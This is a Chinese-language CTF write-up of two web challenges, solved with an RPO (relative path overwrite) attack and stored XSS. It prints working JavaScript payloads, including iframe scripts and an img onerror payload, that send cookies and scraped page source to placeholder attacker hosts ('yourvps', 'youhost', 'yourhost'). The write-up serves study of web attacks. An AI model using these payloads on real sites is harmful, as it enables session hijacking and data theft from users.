此时报错，提示You can only submit my site's url，于是感觉有戏，可能是他后台的一些匹配导致的。想办法绕过即可。

尝试了ip的10进制，域名解析等。

冥思苦想之后，突然发现，自己是傻了么？

本来就是为了绕过同源，现在搞得又回去了。本来就是一个网站，直接用相对路径不就可以了么？

于是构造以下payload。

1

http://39.107.33.96:20000?sda<script src='./index.php/view/article/1234'></script>

然后成功绕过，正当自己开心之时，等待回显的到来。等啊等，等啊等。依旧没反应。。。

难道又错了么？

此时的自己处于一种懵逼状态，唉，还是太年轻！太弱了。对前端了解还是太浅。搞不明白啊！

于是默默去洗了个澡。回来继续肛。

不服！继续！！

是在没有思路了。只好去默默查资料，看一下xss的各种姿势。

而且感觉这题也不像绕csp的，毕竟用户端连个csp都没有，怎么可能管理端再加上。

搜索后发现RPO攻击貌似符合当前情景。

【技术分析】RPO攻击技术浅析

尝试在文章页后添加字符，发现依旧返回文章页。此时开心的笑了。

然后跟着文章进行复现，最终构造payload如下，即可成功打过去！

1

http://39.107.33.96:20000/index.php/view/article/20530/..%2F..%2F..%2F..%2Findex.php

在这里我简单说一下漏洞原因，具体分析大家可以看一下rpo攻击的介绍。

此漏洞利用服务器与前端浏览器的解析不同，从而造成相对资源的引用错误。

服务器端：将../解析为上一级目录，进行退回，造成渲染页面为 http://39.107.33.96:20000/index.php

客户端浏览器： 将..%2F..%2F..%2F..%2F..%2Findex.php解析为一个文件，此时没有执行退目录的操作
所以导致相对资源引入时。
认为http://39.107.33.96:20000/index.php/view/article/20530/为该目录，然后进行引入。
然后由于路由解析的原因，造成引入未见为恶意代码。

此时由于该页面引入了js，即造成了rpo漏洞的实现。

然后就可以开心的通过js玩耍了。

最终尝试通过读源码无果（get方式有限制长度，且payload 有限制长度）。

于是又一次开始打cookie。发现hint如下

HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

到这里就简单了，因为已经提示在这个目录下的cookie里有flag

然后构造js脚本如下，

1
2
3
4
5
6
7

var ad = document.createElement("iframe");
ad.src = "../../../../../QWB_fl4g/QWB/";
ad.id = "frame";
document.body.appendChild(ad);
ad.onload = function (){window.location.href="http://yourvps/?a="+document.getElementById("frame").contentWindow.document.cookie;
}

然后打过去，即可获取到flag。

参考资料

• 【技术分析】RPO攻击技术浅析
• 2018安恒杯二月赛-web-应该不是 XSS

首先拿到题目，看到留言板，第一反应就是XSS。

但是看过题目提示后，有些不确定。

所以开始分析整道题目。

首先，观察network页面，查看主页面的响应。

发现是通过js进行子页面的渲染。类似于iframe。

一共有四个js文件，前两个明显是jQuery的库文件，不用管它，开始分析main.js与app.js

main.js很明显是渲染页面代码。

通过代码可以发现，当我们构造http://192.168.5.28/#login

即可访问其他页面。大家常见的应该是通过php后端渲染这些，通过include去实现在当前模板下渲染页面。此时是通过前端渲染的。

在第七行可以看到一共有4个页面，即有以下页面

1
2
3
4

http://192.168.5.28/#login
http://192.168.5.28/#feedback
http://192.168.5.28/#main
http://192.168.5.28/#chgpass

然后再进行app.js的分析

可以明显看出是一个功能的控制，可以分析出有以下功能

1
2
3
4

登录：'./api.php?action=login&' + Math.random()
发送留言： './api.php?action=savepost&' + Math.random()
修改密码：'./api.php?action=chgpass&' + Math.random()
获取所有留言：'./api.php?action=getpost&' + Math.random()

0x02 进一步分析（XSS)

首先，依次访问以上页面，发现chgpass和main是需要登陆后才能访问。

而且main页面下有flag{}字样。

所以判断出，题目要求你以管理员身份登录后，获取到main页面下的flag。

在登录页面尝试弱口令登录后，无果。于是又把思路转向了xss。

想着可不可以拿到管理员cookie。经过尝试后，发现他做了一些xss的防范

1.将script标签中间强行加入空格

2.在<与s之间强行加入空格

3.标题处有转义，无法xss

4.限制字符长度300

于是构造payload如下

<img src='1' onerror="window.location.href='http://youhost/?'+document.cookie";>

本地测试成功，然后发送，发现获取cookie为空，即服务器端可能做了HttpOnly的限制。

所以此方法失败！！

然后尝试其他思路，想到了国赛的一道题目guestbook，已经xman排位赛的xss2。

通过构造js，来让管理员直接访问main页面，然后将其源码拖下来。

首先通过js引入一个iframe，来访问main页面，然后通过js拿到iframe的源码，发送回来。

此时遇到了一个问题，即iframe加载不完全，所以自己又添加了一个定时器。

最终代码如下

1
2
3
4
5
6
7
8
9
10
11

var iframe = document.createElement("iframe");
 iframe.src = "./#main";
 document.body.appendChild(iframe);
 iframe.onload = setInterval(function (){ 
 var c = encodeURI(document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[0].innerHTML);
  var n0t = document.createElement("link");
 n0t.setAttribute("rel", "prefetch");
 n0t.setAttribute("href", "//yourhost/?a=" + c);
 document.head.appendChild(n0t);
 },1000)